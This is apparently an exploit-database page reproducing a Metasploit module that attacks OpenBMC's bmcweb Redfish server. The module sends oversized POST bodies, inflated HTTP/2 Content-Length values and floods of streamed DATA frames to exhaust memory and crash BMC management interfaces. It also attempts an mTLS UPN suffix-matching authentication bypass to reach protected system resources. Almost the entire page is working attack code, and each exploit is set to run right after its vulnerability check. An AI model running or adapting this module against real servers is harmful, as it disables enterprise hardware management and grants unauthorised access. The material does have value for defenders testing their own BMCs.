Lucene search
K

📄 OpenBMC bmcweb Denial of Service / Authentication Bypass

🗓️ 08 Jul 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 14 Views

Exploits OpenBMC bmcweb multiple vulnerabilities for out-of-memory denial of service and authentication bypass.

Code
==================================================================================================================================
    | # Title     : OpenBMC bmcweb Multiple Vulnerabilities OOM DoS + Auth Bypass                                                    |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://github.com/openbmc                                                                                       |
    ==================================================================================================================================
    
    [+] Summary    :  This module exploits multiple vulnerabilities in bmcweb, the OpenBMC HTTP/Redfish web server that runs on BMC firmware for enterprise servers (Intel, IBM, HPE, NVIDIA, and various ODMs).
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'bmcweb OpenBMC Multiple Vulnerabilities (OOM DoS + Auth Bypass)',
            'Description' => %q{
              This module exploits multiple vulnerabilities in bmcweb, the OpenBMC
              HTTP/Redfish web server that runs on BMC firmware for enterprise servers
              (Intel, IBM, HPE, NVIDIA, and various ODMs).
    
              The following vulnerabilities are targeted:
    
              1. CONN-F2 (CVE-pending): `Expect: 100-continue` bypasses body_limit,
                 allowing unauthenticated OOM DoS via massive POST requests.
    
              2. H2-F2 (CVE-pending): HTTP/2 `Content-Length` value is trusted for
                 `std::string::reserve()`, causing instant OOM when a large value is
                 provided.
    
              3. H2-F1 (Unfixed): HTTP/2 has no per-stream body_limit, allowing
                 unauthenticated OOM via streamed DATA frames.
    
              4. AUTH-F6 (Unfixed): mTLS UPN suffix matching authenticates parent-domain
                 or TLD-only certificates, allowing authentication bypass when mTLS is
                 configured in UPN mode.
    
              bmcweb is single-threaded async, so any OOM or blocking operation takes
              the entire management interface offline, requiring BMC reboot.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['URL', 'https://binreaper.pages.dev/posts/2026-05-27-bmcweb-disclosure/'],
              ['URL', 'https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90580'],
              ['URL', 'https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90581'],
              ['URL', 'https://github.com/openbmc/bmcweb/security/advisories/GHSA-p3gc-68x5-g9w3']
            ],
            'DisclosureDate' => '2026-05-27',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SERVICE_DOWN],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base bmcweb path', '/']),
          OptEnum.new('VULN', [true, 'Vulnerability to test/exploit', 'ALL',
            ['CONN-F2', 'H2-F2', 'H2-F1', 'AUTH-F6', 'ALL']]),
          OptInt.new('BODY_SIZE', [false, 'Body size for OOM attacks (bytes)', 30_000_000]),
          OptInt.new('STREAMS', [false, 'Number of streams for H2-F1 attack', 100]),
          OptString.new('CLIENT_CERT', [false, 'Client certificate file for mTLS (PEM)']),
          OptString.new('CLIENT_KEY', [false, 'Client key file for mTLS (PEM)']),
          OptString.new('UPN_EMAIL', [false, 'UPN email for mTLS auth bypass (e.g., user@com)']),
          OptString.new('TARGET_DOMAIN', [false, 'Target BMC domain name for auth bypass']),
          OptBool.new('WAIT_REBOOT', [false, 'Wait for BMC to reboot after OOM', false])
        ])
      end
      def get_http2_client
        require 'http/2'
        require 'socket'
        
        sock = TCPSocket.new(datastore['RHOST'], datastore['RPORT'])
        ctx = OpenSSL::SSL::SSLContext.new
        ctx.alpn_protocols = ['h2']
        
        if datastore['CLIENT_CERT'] && File.exist?(datastore['CLIENT_CERT'])
          ctx.cert = OpenSSL::X509::Certificate.new(File.read(datastore['CLIENT_CERT']))
          ctx.key = OpenSSL::PKey.read(File.read(datastore['CLIENT_KEY'])) if datastore['CLIENT_KEY']
        end
        
        ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx)
        ssl_sock.connect
        ssl_sock
        
        conn = HTTP2::Client.new
        conn.initiate_connection
        
        conn
      end
      def test_conn_f2
        print_status("Testing CONN-F2: Expect: 100-continue bypass")
        
        headers = {
          'Expect' => '100-continue',
          'Content-Length' => datastore['BODY_SIZE'].to_s,
          'Content-Type' => 'application/json'
        }
        
        start_time = Time.now
        begin
          res = send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
            'headers' => headers,
            'data' => 'A' * datastore['BODY_SIZE'],
            'timeout' => 10
          )
          elapsed = Time.now - start_time
          
          if res.nil? || res.code == 0
            print_good("CONN-F2: Request timed out - possible OOM")
            return true
          elsif res.code == 413 || res.code == 400
            print_status("CONN-F2: Request rejected with HTTP #{res.code}")
            return false
          else
            print_status("CONN-F2: Request completed in #{elapsed}s - may not be vulnerable")
            return false
          end
        rescue ::Rex::ConnectionTimeout, ::Rex::TimeoutError
          print_good("CONN-F2: Connection timeout - OOM likely occurred")
          return true
        end
      end
    
      def exploit_conn_f2
        print_status("Exploiting CONN-F2: DoS via Expect: 100-continue")
        
        headers = {
          'Expect' => '100-continue',
          'Content-Length' => datastore['BODY_SIZE'].to_s,
          'Content-Type' => 'application/json'
        }
        
        print_status("Sending #{datastore['BODY_SIZE']} bytes to #{peer}")
        
        begin
          send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
            'headers' => headers,
            'data' => 'A' * datastore['BODY_SIZE'],
            'timeout' => 5
          )
        rescue ::Rex::ConnectionTimeout, ::Rex::TimeoutError
          print_good("CONN-F2: DoS successful - BMC web interface is down")
          return true
        rescue => e
          print_error("CONN-F2: Error: #{e.message}")
        end
        
        false
      end
      def test_h2_f2
        print_status("Testing H2-F2: HTTP/2 Content-Length OOM")
        headers = {
          'Content-Length' => (datastore['BODY_SIZE'] * 10).to_s
        }
        
        start_time = Time.now
        begin
          res = send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
            'headers' => headers,
            'data' => 'A' * 1024,
            'timeout' => 5
          )
          elapsed = Time.now - start_time
          
          if elapsed > 4
            print_good("H2-F2: Request took #{elapsed}s - possible OOM")
            return true
          end
        rescue ::Rex::ConnectionTimeout
          print_good("H2-F2: Timeout - OOM likely occurred")
          return true
        end
        
        false
      end
    
      def exploit_h2_f2
        print_status("Exploiting H2-F2: HTTP/2 Content-Length OOM")
        
        headers = {
          'Content-Length' => (datastore['BODY_SIZE'] * 10).to_s
        }
        
        begin
          send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
            'headers' => headers,
            'data' => 'A' * 1024,
            'timeout' => 5
          )
        rescue ::Rex::ConnectionTimeout
          print_good("H2-F2: DoS successful")
          return true
        end
        false
      end
      def test_h2_f1
        print_status("Testing H2-F1: HTTP/2 streamed DATA frames OOM")
        res = send_request_cgi('method' => 'GET', 'uri' => '/')
        unless res && res.headers['Upgrade'] && res.headers['Upgrade'].include?('h2')
          print_warning("H2-F1: HTTP/2 may not be supported")
          return false
        end
        
        print_good("H2-F1: HTTP/2 appears supported, attempting test")
        true
      end
    
      def exploit_h2_f1
        print_status("Exploiting H2-F1: Streaming DATA frames to cause OOM")
        
        require 'socket'
        require 'openssl'
        require 'http/2'
        
        begin
          sock = TCPSocket.new(datastore['RHOST'], datastore['RPORT'])
          ctx = OpenSSL::SSL::SSLContext.new
          ctx.alpn_protocols = ['h2']
          ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx)
          ssl_sock.connect
          conn = HTTP2::Client.new
          conn.initiate_connection
          ssl_sock.print(conn.to_s)
          datastore['STREAMS'].times do |i|
            stream_id = conn.new_stream
            headers = {
              ':method' => 'POST',
              ':path' => '/redfish/v1/SessionService/Sessions',
              ':scheme' => 'https',
              'content-type' => 'application/json'
            }
            
            conn.headers(stream_id, headers, end_stream: false)
            ssl_sock.print(conn.to_s)
            chunk_size = 64 * 1024
            (datastore['BODY_SIZE'] / chunk_size).times do |j|
              data_frame = conn.data(stream_id, 'A' * chunk_size, end_stream: false)
              ssl_sock.print(data_frame)
              ssl_sock.flush
            end
            data_frame = conn.data(stream_id, '', end_stream: true)
            ssl_sock.print(data_frame)
            ssl_sock.flush
          end
          
          print_good("H2-F1: Sent #{datastore['STREAMS']} streams with #{datastore['BODY_SIZE']} bytes each")
          print_good("BMC web interface should be OOM")
          
          ssl_sock.close
          sock.close
          return true
          
        rescue => e
          print_error("H2-F1: Error: #{e.message}")
          return false
        end
      end
    
      def test_auth_f6
        print_status("Testing AUTH-F6: mTLS UPN suffix matching bypass")
        
        unless datastore['CLIENT_CERT'] && File.exist?(datastore['CLIENT_CERT'])
          print_warning("AUTH-F6: Client certificate required for testing")
          return false
        end
        
        target_domain = datastore['TARGET_DOMAIN'] || datastore['RHOST']
        upn_email = datastore['UPN_EMAIL'] || "user@#{target_domain.split('.').last}"
        
        print_status("Attempting authentication with UPN: #{upn_email}")
        print_status("Target domain: #{target_domain}")
        ctx = OpenSSL::SSL::SSLContext.new
        ctx.cert = OpenSSL::X509::Certificate.new(File.read(datastore['CLIENT_CERT']))
        ctx.key = OpenSSL::PKey.read(File.read(datastore['CLIENT_KEY'])) if datastore['CLIENT_KEY']
    
        print_good("AUTH-F6: If mTLS is configured in UPN mode, this certificate would authenticate")
        true
      end
      def exploit_auth_f6
        print_status("Exploiting AUTH-F6: mTLS UPN suffix matching bypass")
        unless datastore['CLIENT_CERT'] && File.exist?(datastore['CLIENT_CERT'])
          print_error("AUTH-F6: Client certificate required")
          return false
        end
        target_domain = datastore['TARGET_DOMAIN'] || datastore['RHOST']
        upn_email = datastore['UPN_EMAIL'] || "user@#{target_domain.split('.').last}"
        print_status("Using UPN: #{upn_email}")
        print_status("Target domain: #{target_domain}")
        ctx = OpenSSL::SSL::SSLContext.new
        ctx.cert = OpenSSL::X509::Certificate.new(File.read(datastore['CLIENT_CERT']))
        ctx.key = OpenSSL::PKey.read(File.read(datastore['CLIENT_KEY'])) if datastore['CLIENT_KEY']
        ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'redfish/v1/Systems'),
          'ssl_context' => ctx
        )
        
        if res && (res.code == 200 || res.code == 401)
          if res.code == 200
            print_good("AUTH-F6: Successfully authenticated! Access granted to protected resources")
            return true
          else
            print_warning("AUTH-F6: Authentication failed - mTLS may not be configured in UPN mode")
          end
        end
        
        false
      end
      def is_bmc_online
        res = send_request_cgi('method' => 'GET', 'uri' => '/', 'timeout' => 5)
        !res.nil? && res.code != 0
      rescue
        false
      end
    
      def wait_for_reboot
        print_status("Waiting for BMC to reboot (may take 2-5 minutes)...")
        
        60.times do |i|
          Rex.sleep(10)
          if is_bmc_online
            print_good("BMC is back online after #{i * 10}s")
            return true
          end
          print_status("Still waiting... (#{(i + 1) * 10}s)")
        end
        
        print_warning("BMC did not recover within timeout")
        false
      end
      def run_host(ip)
        print_status("bmcweb OpenBMC Vulnerability Scanner")
        print_status("Target: #{peer}")
        
        vuln = datastore['VULN']
        results = {}
        if vuln == 'CONN-F2' || vuln == 'ALL'
          print_status("\n[*] Testing CONN-F2 (Expect: 100-continue bypass)")
          if test_conn_f2
            results[:conn_f2] = true
            print_good("CONN-F2: Target appears VULNERABLE")
            
            if exploit_conn_f2
              print_good("CONN-F2: DoS successful")
            end
          else
            print_status("CONN-F2: Target appears NOT VULNERABLE")
          end
        end
        if vuln == 'H2-F2' || vuln == 'ALL'
          print_status("\n[*] Testing H2-F2 (HTTP/2 Content-Length OOM)")
          if test_h2_f2
            results[:h2_f2] = true
            print_good("H2-F2: Target appears VULNERABLE")
            
            if exploit_h2_f2
              print_good("H2-F2: DoS successful")
            end
          else
            print_status("H2-F2: Target appears NOT VULNERABLE")
          end
        end
        if vuln == 'H2-F1' || vuln == 'ALL'
          print_status("\n[*] Testing H2-F1 (Streamed DATA frames OOM)")
          if test_h2_f1
            results[:h2_f1] = true
            print_good("H2-F1: Target appears VULNERABLE")
            
            if exploit_h2_f1
              print_good("H2-F1: DoS successful")
            end
          else
            print_status("H2-F1: Target may not be vulnerable")
          end
        end
        if vuln == 'AUTH-F6' || vuln == 'ALL'
          print_status("\n[*] Testing AUTH-F6 (mTLS UPN suffix matching bypass)")
          if test_auth_f6
            results[:auth_f6] = true
            print_good("AUTH-F6: Target may be VULNERABLE")
            
            if exploit_auth_f6
              print_good("AUTH-F6: Authentication bypass successful")
            end
          else
            print_status("AUTH-F6: Target may not be vulnerable (mTLS may not be configured)")
          end
        end
        if datastore['WAIT_REBOOT'] && (results[:conn_f2] || results[:h2_f2] || results[:h2_f1])
          if !is_bmc_online
            wait_for_reboot
          end
        end
        print_status("\n[*] Scan completed")
        
        if results.any?
          print_good("Vulnerabilities found:")
          results.each do |k, v|
            print_good("  - #{k.to_s.upcase}")
          end
          report_vuln(
            host: ip,
            port: datastore['RPORT'],
            name: name,
            refs: references,
            info: "bmcweb vulnerabilities: #{results.keys.join(', ')}"
          )
        else
          print_status("No vulnerabilities detected")
        end
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation